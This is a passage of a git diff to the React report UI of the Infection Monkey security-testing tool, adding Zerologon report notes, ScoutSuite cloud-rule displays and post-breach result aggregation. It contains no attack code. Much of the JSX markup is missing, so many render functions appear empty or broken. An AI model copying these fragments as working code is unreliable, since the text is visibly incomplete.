  • : null} @@ -353,9 +416,58 @@ class ReportPageComponent extends AuthComponent { ); } + getThreatCount() { + let threatCount = this.state.report.overview.issues.filter(function (x) { + return x === true; + }).length + + this.NotThreats.forEach(x => { + if (this.state.report.overview.issues[x] === true) { + threatCount -= 1; + } + }); + + if (threatCount === 1) + return '1 threat' + else + return threatCount + ' threats' + } + + generateZerologonOverview() { + let zerologonOverview = []; + if (this.state.report.overview.issues[this.Issue.ZEROLOGON]) { + zerologonOverview.push(<> + Some Windows domain controllers are vulnerable to 'Zerologon' ( + ). + ) + } + if (this.state.report.overview.issues[this.Issue.ZEROLOGON_PASSWORD_RESTORE_FAILED]) { + zerologonOverview.push( +
    + + Automatic password restoration on a domain controller failed! + +
    ) + } + else { + return null; + } + return (
  • {zerologonOverview}
  • ) + } + generateReportRecommendationsSection() { return ( -
    +
    {/* Checks if there are any domain issues. If there are more then one: render the title. Otherwise, * don't render it (since the issues themselves will be empty. */} {Object.keys(this.state.report.recommendations.domain_issues).length !== 0 ? @@ -378,36 +490,36 @@ class ReportPageComponent extends AuthComponent { let exploitPercentage = (100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length; return ( -
    +

    The Network from the Monkey's Eyes

    The Monkey discovered {this.state.report.glance.scanned.length} machines and + className='badge badge-warning'>{this.state.report.glance.scanned.length} machines and successfully breached {this.state.report.glance.exploited.length} of them. + className='badge badge-danger'>{this.state.report.glance.exploited.length} of them.

    -
    - +
    + {Math.round(exploitPercentage)}% of scanned machines exploited

    From the attacker's point of view, the network looks like this:

    -
    +
    Legend: - Exploit + Exploit | - Scan + Scan | - Tunnel + Tunnel | - Island Communication + Island Communication
    @@ -437,57 +549,97 @@ class ReportPageComponent extends AuthComponent { generateReportFooter() { return ( - ; } @@ -57,7 +59,8 @@ class ZeroTrustReportPageComponent extends AuthComponent { stillLoadingDataFromServer() { return typeof this.state.findings === 'undefined' || typeof this.state.pillars === 'undefined' - || typeof this.state.principles === 'undefined'; + || typeof this.state.principles === 'undefined' + || typeof this.state.scoutsuite_data === 'undefined'; } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js index a110da5ea..00420f095 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js @@ -15,7 +15,7 @@ class ReportMatrixComponent extends React.Component { getColumns() { let columns = []; for(const type_key in this.state.schema.properties){ - if (! this.state.schema.properties.hasOwnProperty(type_key)){ + if (! Object.prototype.hasOwnProperty.call(this.state.schema.properties, type_key)){ continue; } let tech_type = this.state.schema.properties[type_key]; @@ -32,11 +32,11 @@ class ReportMatrixComponent extends React.Component { getTableRows() { let rows = []; for (const tech_id in this.state.techniques) { - if (this.state.techniques.hasOwnProperty(tech_id)){ + if (Object.prototype.hasOwnProperty.call(this.state.techniques, tech_id)){ let technique_added = false; let technique = this.state.techniques[tech_id]; for(const row of rows){ - if (! row.hasOwnProperty(technique.type)){ + if (! Object.prototype.hasOwnProperty.call(row, technique.type)){ row[technique.type] = technique; technique_added = true; break; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/attack/SelectedTechnique.js b/monkey/monkey_island/cc/ui/src/components/report-components/attack/SelectedTechnique.js index 8bdcf2960..69ca738f0 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/attack/SelectedTechnique.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/attack/SelectedTechnique.js @@ -38,7 +38,8 @@ class SelectedTechnique extends React.Component { - + diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/attack/TechniqueDropdowns.js b/monkey/monkey_island/cc/ui/src/components/report-components/attack/TechniqueDropdowns.js index c32c4e16e..13e5e23a3 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/attack/TechniqueDropdowns.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/attack/TechniqueDropdowns.js @@ -43,8 +43,9 @@ class TechniqueDropdowns extends React.Component{ {this.state.techniques[tech_id].title} - - + + @@ -79,13 +80,13 @@ class TechniqueDropdowns extends React.Component{ getOrderedTechniqueList(){ let content = []; for(const type_key in this.state.schema.properties){ - if (! this.state.schema.properties.hasOwnProperty(type_key)){ + if (! Object.prototype.hasOwnProperty.call(this.state.schema.properties, type_key)){ continue; } let tech_type = this.state.schema.properties[type_key]; content.push(

    {tech_type.title}

    ); for(const tech_id in this.state.techniques){ - if (! this.state.techniques.hasOwnProperty(tech_id)){ + if (! Object.prototype.hasOwnProperty.call(this.state.techniques, tech_id)){ continue; } let technique = this.state.techniques[tech_id]; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js index 152faa624..c940c1192 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js @@ -4,25 +4,19 @@ import * as PropTypes from 'prop-types'; class PaginatedTable extends Component { render() { - if (this.props.data.length > 0) { - let defaultPageSize = this.props.data.length > this.props.pageSize ? this.props.pageSize : this.props.data.length; - let showPagination = this.props.data.length > this.props.pageSize; + let defaultPageSize = this.props.data.length > this.props.pageSize ? this.props.pageSize : this.props.data.length; + let showPagination = this.props.data.length > this.props.pageSize; - return ( -
    - -
    - ); - } else { - return ( -
    - ); - } + return ( +
    + +
    + ); } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/consts/ScoutSuiteConsts/RuleLevels.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/consts/ScoutSuiteConsts/RuleLevels.js new file mode 100644 index 000000000..20b92a3eb --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/consts/ScoutSuiteConsts/RuleLevels.js @@ -0,0 +1,6 @@ +const RULE_LEVELS = { + LEVEL_WARNING: 'warning', + LEVEL_DANGER: 'danger' +} + +export default RULE_LEVELS diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/consts/StatusConsts.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/consts/StatusConsts.js new file mode 100644 index 000000000..472b045ae --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/consts/StatusConsts.js @@ -0,0 +1,8 @@ +const STATUSES = { + STATUS_UNEXECUTED: 'Unexecuted', + STATUS_PASSED: 'Passed', + STATUS_VERIFY: 'Verify', + STATUS_FAILED: 'Failed' +} + +export default STATUSES diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js index b56a532f7..4bb420f71 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js @@ -1,33 +1,62 @@ export default function parsePbaResults(results) { - results.pba_results = aggregateShellStartupPba(results.pba_results); + results.pba_results = aggregateMultipleResultsPba(results.pba_results); return results; } const SHELL_STARTUP_NAME = 'Modify shell startup file'; +const CMD_HISTORY_NAME = 'Clear command history'; -function aggregateShellStartupPba(results) { - let isSuccess = false; - let aggregatedPbaResult = undefined; - let successfulOutputs = ''; - let failedOutputs = ''; +const multipleResultsPbas = [SHELL_STARTUP_NAME, CMD_HISTORY_NAME] - for(let i = 0; i < results.length; i++){ - if(results[i].name === SHELL_STARTUP_NAME && aggregatedPbaResult === undefined){ - aggregatedPbaResult = results[i]; +function aggregateMultipleResultsPba(results) { + let aggregatedPbaResults = {}; + multipleResultsPbas.forEach(function(pba) { + aggregatedPbaResults[pba] = { + aggregatedResult: undefined, + successfulOutputs: '', + failedOutputs: '', + isSuccess: false } - if(results[i].name === SHELL_STARTUP_NAME && results[i].result[1]){ - successfulOutputs += results[i].result[0]; - isSuccess = true; + }) + + function aggregateResults(result) { + if (aggregatedPbaResults[result.name].aggregatedResult === undefined) { + aggregatedPbaResults[result.name].aggregatedResult = result; } - if(results[i].name === SHELL_STARTUP_NAME && ! results[i].result[1]){ - failedOutputs += results[i].result[0]; + if (result.result[1]) { + aggregatedPbaResults[result.name].successfulOutputs += result.result[0]; + aggregatedPbaResults[result.name].isSuccess = true; + } + else if (!result.result[1]) { + aggregatedPbaResults[result.name].failedOutputs += result.result[0]; } } - if(aggregatedPbaResult === undefined) return results; - results = results.filter(result => result.name !== SHELL_STARTUP_NAME); - aggregatedPbaResult.result[0] = successfulOutputs + failedOutputs; - aggregatedPbaResult.result[1] = isSuccess; - results.push(aggregatedPbaResult); + function checkAggregatedResults(pbaName) { // if this pba's results were aggregated, push to `results` + if (aggregatedPbaResults[pbaName].aggregatedResult !== undefined) { + aggregatedPbaResults[pbaName].aggregatedResult.result[0] = (aggregatedPbaResults[pbaName].successfulOutputs + + aggregatedPbaResults[pbaName].failedOutputs); + aggregatedPbaResults[pbaName].aggregatedResult.result[1] = aggregatedPbaResults[pbaName].isSuccess; + results.push(aggregatedPbaResults[pbaName].aggregatedResult); + } + } + + // check for pbas with multiple results and aggregate their results + for (let i = 0; i < results.length; i++) + if (multipleResultsPbas.includes(results[i].name)) + aggregateResults(results[i]); + + // if no modifications were made to the results, i.e. if no pbas had mutiple results, return `results` as it is + let noResultsModifications = true; + multipleResultsPbas.forEach((pba) => { + if (aggregatedPbaResults[pba].aggregatedResult !== undefined) + noResultsModifications = false; + }) + if (noResultsModifications) + return results; + + // if modifications were made, push aggregated results to `results` and return + results = results.filter(result => !multipleResultsPbas.includes(result.name)); + multipleResultsPbas.forEach(pba => checkAggregatedResults(pba)); return results; } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js index 95fe93c4d..9f36c2b38 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js @@ -1,10 +1,11 @@ import React, {Component, Fragment} from 'react'; import EventsModal from './EventsModal'; -import {Badge, Button} from 'react-bootstrap'; +import {Button} from 'react-bootstrap'; import * as PropTypes from 'prop-types'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; import { faList } from '@fortawesome/free-solid-svg-icons/faList'; +import CountBadge from '../../ui-components/CountBadge'; export default class EventsButton extends Component { constructor(props) { @@ -33,16 +34,11 @@ export default class EventsButton extends Component { exportFilename={this.props.exportFilename}/>
    ; } - - createEventsAmountBadge() { - const eventsAmountBadgeContent = this.props.event_count > 9 ? '9+' : this.props.event_count; - return {eventsAmountBadgeContent}; - } } EventsButton.propTypes = { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js index 5fa3a4a80..eb8231441 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js @@ -32,9 +32,15 @@ class FindingsSection extends Component { insight as to what exactly happened during this test.

    - - - + + +
    ); } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index f83921dae..657ad741e 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -4,52 +4,63 @@ import PaginatedTable from '../common/PaginatedTable'; import * as PropTypes from 'prop-types'; import PillarLabel from './PillarLabel'; import EventsButton from './EventsButton'; +import ScoutSuiteRuleButton from './scoutsuite/ScoutSuiteRuleButton'; -const EVENTS_COLUMN_MAX_WIDTH = 170; -const PILLARS_COLUMN_MAX_WIDTH = 200; -const columns = [ - { - columns: [ - { - Header: 'Finding', accessor: 'test', - style: {'whiteSpace': 'unset'} // This enables word wrap - }, - - { - Header: 'Events', id: 'events', - accessor: x => { - return ; - }, - maxWidth: EVENTS_COLUMN_MAX_WIDTH - }, - - { - Header: 'Pillars', id: 'pillars', - accessor: x => { - const pillars = x.pillars; - const pillarLabels = pillars.map((pillar) => - - ); - return
    {pillarLabels}
    ; - }, - maxWidth: PILLARS_COLUMN_MAX_WIDTH, - style: {'whiteSpace': 'unset'} - } - ] - } -]; +const EVENTS_COLUMN_MAX_WIDTH = 180; +const PILLARS_COLUMN_MAX_WIDTH = 260; export class FindingsTable extends Component { + columns = [ + { + columns: [ + { + Header: 'Finding', accessor: 'test', + style: {'whiteSpace': 'unset'} // This enables word wrap + }, + + { + Header: 'Details', id: 'details', + accessor: x => this.getFindingDetails(x), + maxWidth: EVENTS_COLUMN_MAX_WIDTH + }, + + { + Header: 'Pillars', id: 'pillars', + accessor: x => this.getFindingPillars(x), + maxWidth: PILLARS_COLUMN_MAX_WIDTH, + style: {'whiteSpace': 'unset'} + } + ] + } + ]; + + getFindingDetails(finding) { + if ('scoutsuite_rules' in finding.details) { + return ; + } else { + return ; + } + } + + getFindingPillars(finding) { + const pillars = finding.pillars; + const pillarLabels = pillars.map((pillar) => + + ); + return
    {pillarLabels}
    ; + } + render() { return

    { } tests' findings

    - +
    } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js new file mode 100644 index 000000000..81aee324e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js @@ -0,0 +1,84 @@ +import React, {useState} from 'react'; +import * as PropTypes from 'prop-types'; +import '../../../../styles/components/scoutsuite/RuleDisplay.scss' +import classNames from 'classnames'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faChevronDown} from '@fortawesome/free-solid-svg-icons/faChevronDown'; +import {faChevronUp} from '@fortawesome/free-solid-svg-icons/faChevronUp'; +import ScoutSuiteDataParser from './ScoutSuiteDataParser'; +import Collapse from '@kunukn/react-collapse'; +import {faArrowRight} from '@fortawesome/free-solid-svg-icons'; + +export default function ResourceDropdown(props) { + + const [isCollapseOpen, setIsCollapseOpen] = useState(false); + let parser = new ScoutSuiteDataParser(props.scoutsuite_data.data.services); + let resource_value = parser.getResourceValue(props.resource_path, props.template_path); + + function getResourceDropdown() { + return ( +
    + + +
    + ); + } + + function replacePathDotsWithArrows(resourcePath) { + let path_vars = resourcePath.split('.') + let display_path = [] + for (let i = 0; i < path_vars.length; i++) { + display_path.push(path_vars[i]) + if (i !== path_vars.length - 1) { + display_path.push() + } + } + return display_path; + } + + function prettyPrintJson(data) { + return JSON.stringify(data, null, 4); + } + + function getResourceValueDisplay() { + return ( +
    +

    Value:

    +
    {prettyPrintJson(resource_value)}
    +
    + ); + } + + function getResourceDropdownContents() { + return ( +
    +
    +

    Path:

    +

    {replacePathDotsWithArrows(props.resource_path)}

    +
    + {getResourceValueDisplay()} +
    + ); + } + + return getResourceDropdown(); +} + +ResourceDropdown.propTypes = { + template_path: PropTypes.string, + resource_path: PropTypes.string, + scoutsuite_data: PropTypes.object +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js new file mode 100644 index 000000000..dc81ff183 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js @@ -0,0 +1,70 @@ +import React from 'react'; +import * as PropTypes from 'prop-types'; +import '../../../../styles/components/scoutsuite/RuleDisplay.scss' +import ResourceDropdown from './ResourceDropdown'; + +export default function RuleDisplay(props) { + + return ( +
    +
    +

    {props.rule.description}({props.rule.service})

    +
    +
    +

    +

    +
    +

    Resources checked:

    +

    {props.rule.checked_items}

    +
    + {getReferences()} + {getResources()} +
    ); + + function getReferences() { + let references = [] + props.rule.references.forEach(reference => { + references.push({reference}) + }) + if (references.length) { + return ( +
    +

    References:

    + {references} +
    ) + } else { + return null; + } + } + + function getResources() { + let resources = [] + for (let i = 0; i < props.rule.items.length; i++) { + let item = props.rule.items[i]; + let template_path = Object.prototype.hasOwnProperty.call(props.rule, 'display_path') + ? props.rule.display_path : props.rule.path; + resources.push() + } + if (resources.length) { + return ( +
    +

    Flagged resources ({props.rule.flagged_items}):

    + {resources} +
    ) + } else { + return null; + } + } +} + +RuleDisplay.propTypes = { + rule: PropTypes.object, + scoutsuite_data: PropTypes.object +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js new file mode 100644 index 000000000..be5599d99 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js @@ -0,0 +1,118 @@ +export default class ScoutSuiteDataParser { + constructor(runResults) { + this.runResults = runResults + } + + /** + * Gets value of cloud resource based on path of specific checked field and more abstract template path, + * which describes the scope of resource values. + * @param itemPath contains path to a specific value e.g. s3.buckets.da1e7081077ce92.secure_transport_enabled + * @param templatePath contains a template path for resource we would want to display e.g. s3.buckets.id + * @returns {*[]|*} resource value e.g. {'bucket_id': 123, 'bucket_max_size': '123GB'} + */ + getResourceValue(itemPath, templatePath) { + let resourcePath = this.fillTemplatePath(itemPath, templatePath); + return this.getObjectValueByPath(resourcePath, this.runResults); + } + + /** + * Replaces id's in template path with id's from item path to form actual path to the object + * @param itemPath e.g. s3.buckets.da1e7081077ce92.secure_transport_enabled + * @param templatePath e.g. s3.buckets.id + * @returns {*} e.g. s3.buckets.da1e7081077ce92 + */ + fillTemplatePath(itemPath, templatePath) { + let itemPathArray = itemPath.split('.'); + let templatePathArray = templatePath.split('.'); + let resourcePathArray = templatePathArray.map((val, i) => { + return val === 'id' ? itemPathArray[i] : val + }) + return resourcePathArray.join('.'); + } + + /** + * Retrieves value from ScoutSuite data object based on path, provided in the rule + * @param path E.g. a.id.c.id.e + * @param source E.g. {a: {b: {c: {d: {e: [{result1: 'result1'}, {result2: 'result2'}]}}}}} + * @returns {*[]|*} E.g. ['result1', 'result2'] + */ + getObjectValueByPath(path, source) { + let key; + + while (path) { + key = this.getNextKeyInPath(path); + source = this.getValueForKey(key, path, source); + path = this.trimFirstKey(path); + } + + return source; + } + + /** + * Gets next key from the path + * @param path e.g. s3.buckets.id + * @returns {string|*} s3 + */ + getNextKeyInPath(path) { + if (path.indexOf('.') !== -1) { + return path.substr(0, path.indexOf('.')); + } else { + return path; + } + } + + /** + * Returns value from object, based on path and current key + * @param key E.g. "a" + * @param path E.g. "a.b.c" + * @param source E.g. {a: {b: {c: 'result'}}} + * @returns {[]|*} E.g. {b: {c: 'result'}} + */ + getValueForKey(key, path, source) { + if (key === 'id') { + return this.getValueByReplacingUnknownKey(path, source); + } else { + return source[key]; + } + } + + /** + * Gets value from object if first key in path doesn't match source object + * @param path unknown.b.c + * @param source {a: {b: {c: [{result:'result'}]}}} + * @returns {[]} 'result' + */ + getValueByReplacingUnknownKey(path, source) { + let value = []; + for (let key in source) { + value = this.getObjectValueByPath(this.replaceFirstKey(path, key), source); + value = value.concat(Object.values(value)); + } + return value; + } + + /** + * Replaces first key in path + * @param path E.g. "one.two.three" + * @param replacement E.g. "four" + * @returns string E.g. "four.two.three" + */ + replaceFirstKey(path, replacement) { + return replacement + path.substr(path.indexOf('.'), path.length); + } + + /** + * Trims the first key from dot separated path. + * @param path E.g. "one.two.three" + * @returns {string|boolean} E.g. "two.three" + */ + trimFirstKey(path) { + if (path.indexOf('.') !== -1) { + return path.substr(path.indexOf('.') + 1, path.length); + } else { + return false; + } + } + + +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js new file mode 100644 index 000000000..7ab5925a5 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js @@ -0,0 +1,46 @@ +import React, {Component} from 'react'; +import {Button} from 'react-bootstrap'; +import * as PropTypes from 'prop-types'; + +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faList} from '@fortawesome/free-solid-svg-icons/faList'; +import ScoutSuiteRuleModal from './ScoutSuiteRuleModal'; +import CountBadge from '../../../ui-components/CountBadge'; + +export default class ScoutSuiteRuleButton extends Component { + constructor(props) { + super(props); + this.state = { + isModalOpen: false + } + } + + toggleModal = () => { + this.setState({isModalOpen: !this.state.isModalOpen}); + }; + + render() { + return ( + <> + +
    + +
    + ); + } + + createRuleCountBadge() { + + } +} + +ScoutSuiteRuleButton.propTypes = { + scoutsuite_rules: PropTypes.array, + scoutsuite_data: PropTypes.object +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js new file mode 100644 index 000000000..fd7fa3851 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js @@ -0,0 +1,94 @@ +import React, {useState} from 'react'; +import {Modal} from 'react-bootstrap'; +import * as PropTypes from 'prop-types'; +import Pluralize from 'pluralize'; +import ScoutSuiteSingleRuleDropdown from './ScoutSuiteSingleRuleDropdown'; +import '../../../../styles/components/scoutsuite/RuleModal.scss'; +import STATUSES from '../../common/consts/StatusConsts'; +import {getRuleCountByStatus, sortRules} from './rule-parsing/ParsingUtils'; + + +export default function ScoutSuiteRuleModal(props) { + const [openRuleId, setOpenRuleId] = useState(null) + + function toggleRuleDropdown(ruleId) { + let ruleIdToSet = (openRuleId === ruleId) ? null : ruleId; + setOpenRuleId(ruleIdToSet); + } + + function renderRuleDropdowns() { + let dropdowns = []; + let rules = sortRules(props.scoutsuite_rules); + rules.forEach(rule => { + let dropdown = ( toggleRuleDropdown(rule.description)} + rule={rule} + scoutsuite_data={props.scoutsuite_data} + key={rule.description + rule.path}/>) + dropdowns.push(dropdown) + }); + return dropdowns; + } + + function getGeneralRuleOverview() { + return <> + There {Pluralize('is', props.scoutsuite_rules.length)} +  {props.scoutsuite_rules.length} +  ScoutSuite {Pluralize('rule', props.scoutsuite_rules.length)} associated with this finding. + + } + + function getFailedRuleOverview() { + let failedRuleCnt = getRuleCountByStatus(props.scoutsuite_rules, STATUSES.STATUS_FAILED) + + + getRuleCountByStatus(props.scoutsuite_rules, STATUSES.STATUS_VERIFY); + return <> +  {failedRuleCnt} +  failed security {Pluralize('rule', failedRuleCnt)}. + + } + + function getPassedRuleOverview() { + let passedRuleCnt = getRuleCountByStatus(props.scoutsuite_rules, STATUSES.STATUS_PASSED); + return <> +  {passedRuleCnt} +  passed security {Pluralize('rule', passedRuleCnt)}. + + } + + function getUnexecutedRuleOverview() { + let unexecutedRuleCnt = getRuleCountByStatus(props.scoutsuite_rules, STATUSES.STATUS_UNEXECUTED); + return <> +  {unexecutedRuleCnt} +  {Pluralize('rule', unexecutedRuleCnt)} {Pluralize('was', unexecutedRuleCnt)} not + checked (no relevant resources for the rule). + + } + + return ( +
    + props.hideCallback()} className={'scoutsuite-rule-modal'}> + +

    +
    ScoutSuite rules
    +

    +
    +

    + {getGeneralRuleOverview()} + {getFailedRuleOverview()} + {getPassedRuleOverview()} + {getUnexecutedRuleOverview()} +

    + {renderRuleDropdowns()} +
    +
    +
    + ); + +} + +ScoutSuiteRuleModal.propTypes = { + isModalOpen: PropTypes.bool, + scoutsuite_rules: PropTypes.array, + scoutsuite_data: PropTypes.object, + hideCallback: PropTypes.func +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js new file mode 100644 index 000000000..c396066b4 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js @@ -0,0 +1,79 @@ +import React from 'react'; +import Collapse from '@kunukn/react-collapse'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome' +import {faChevronUp} from '@fortawesome/free-solid-svg-icons/faChevronUp' +import {faChevronDown} from '@fortawesome/free-solid-svg-icons/faChevronDown' + +import classNames from 'classnames'; +import * as PropTypes from 'prop-types'; +import STATUSES from '../../common/consts/StatusConsts'; +import {faCheckCircle, faCircle, faExclamationCircle} from '@fortawesome/free-solid-svg-icons'; +import RuleDisplay from './RuleDisplay'; +import {getRuleStatus} from './rule-parsing/ParsingUtils'; + +export default function ScoutSuiteSingleRuleDropdown(props) { + + function getRuleCollapse() { + return ( +
    + + +
    + ); + } + + function getRuleIcon() { + let ruleStatus = getRuleStatus(props.rule); + switch (ruleStatus) { + case STATUSES.STATUS_PASSED: + return faCheckCircle; + case STATUSES.STATUS_VERIFY: + return faExclamationCircle; + case STATUSES.STATUS_FAILED: + return faExclamationCircle; + case STATUSES.STATUS_UNEXECUTED: + return faCircle; + } + } + + function getDropdownClass() { + let ruleStatus = getRuleStatus(props.rule); + switch (ruleStatus) { + case STATUSES.STATUS_PASSED: + return 'collapse-success'; + case STATUSES.STATUS_VERIFY: + return 'collapse-danger'; + case STATUSES.STATUS_FAILED: + return 'collapse-danger'; + case STATUSES.STATUS_UNEXECUTED: + return 'collapse-default'; + } + } + + function renderRule() { + return + } + + return getRuleCollapse(); +} + + +ScoutSuiteSingleRuleDropdown.propTypes = { + isCollapseOpen: PropTypes.bool, + rule: PropTypes.object, + scoutsuite_data: PropTypes.object, + toggleCallback: PropTypes.func +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js new file mode 100644 index 000000000..da1417d1b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js @@ -0,0 +1,40 @@ +import STATUSES from '../../../common/consts/StatusConsts'; +import RULE_LEVELS from '../../../common/consts/ScoutSuiteConsts/RuleLevels'; + +export function getRuleStatus(rule) { + if (rule.checked_items === 0) { + return STATUSES.STATUS_UNEXECUTED + } else if (rule.items.length === 0) { + return STATUSES.STATUS_PASSED + } else if (rule.level === RULE_LEVELS.LEVEL_WARNING) { + return STATUSES.STATUS_VERIFY + } else { + return STATUSES.STATUS_FAILED + } +} + +export function getRuleCountByStatus(rules, status) { + return rules.filter(rule => getRuleStatus(rule) === status).length; +} + +export function sortRules(rules) { + rules.sort(compareRules); + return rules; +} + +function compareRules(firstRule, secondRule) { + let firstStatus = getRuleStatus(firstRule); + let secondStatus = getRuleStatus(secondRule); + return compareRuleStatuses(firstStatus, secondStatus); +} + +function compareRuleStatuses(ruleStatusOne, ruleStatusTwo) { + const severity_order = { + [STATUSES.STATUS_FAILED]: 1, + [STATUSES.STATUS_VERIFY]: 2, + [STATUSES.STATUS_PASSED]: 3, + [STATUSES.STATUS_UNEXECUTED]: 4 + } + + return severity_order[ruleStatusOne] - severity_order[ruleStatusTwo] +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js index e6a2ddd36..4eddb420d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js @@ -209,7 +209,7 @@ class VennDiagram extends React.Component { if (key_ === 'Data') { this.layout[key_].fontStyle = this.fontStyles[0]; - } else if (this.layout[key_].hasOwnProperty('cx')) { + } else if (Object.prototype.hasOwnProperty.call(this.layout[key_], 'cx')) { this.layout[key_].fontStyle = this.fontStyles[1]; } else { this.layout[key_].fontStyle = this.fontStyles[2]; @@ -229,7 +229,7 @@ class VennDiagram extends React.Component { // equivalent to center translate (width/2, height/2) let viewPortParameters = (-this.width / 2) + ' ' + (-this.height / 2) + ' ' + this.width + ' ' + this.height; let nodes = Object.values(this.layout).map((d_, i_) => { - if (d_.hasOwnProperty('cx')) { + if (Object.prototype.hasOwnProperty.call(d_, 'cx')) { return ( { - // start off with the existing state - let selection = [...this.state.selection]; - const keyIndex = selection.indexOf(key); - // check to see if the key exists - if (keyIndex >= 0) { - // it does exist so we will remove it using destructing - selection = [ - ...selection.slice(0, keyIndex), - ...selection.slice(keyIndex + 1) - ]; - } else { - // it does not exist so add it - selection.push(key); - } - // update the state - this.setState({selection}); - }; - - isSelected = key => { - return this.state.selection.includes(key); - }; - - toggleAll = () => { - const selectAll = !this.state.selectAll; - const selection = []; - if (selectAll) { - // we need to get at the internals of ReactTable - const wrappedInstance = this.checkboxTable.getWrappedInstance(); - // the 'sortedData' property contains the currently accessible records based on the filter and sort - const currentRecords = wrappedInstance.getResolvedState().sortedData; - // we just push all the IDs onto the selection array - currentRecords.forEach(item => { - selection.push(item._original.instance_id); - }); - } - this.setState({selectAll, selection}); - }; - - getTrProps = (_, r) => { - let color = 'inherit'; - if (r) { - let instId = r.original.instance_id; - if (this.isSelected(instId)) { - color = '#ffed9f'; - } else if 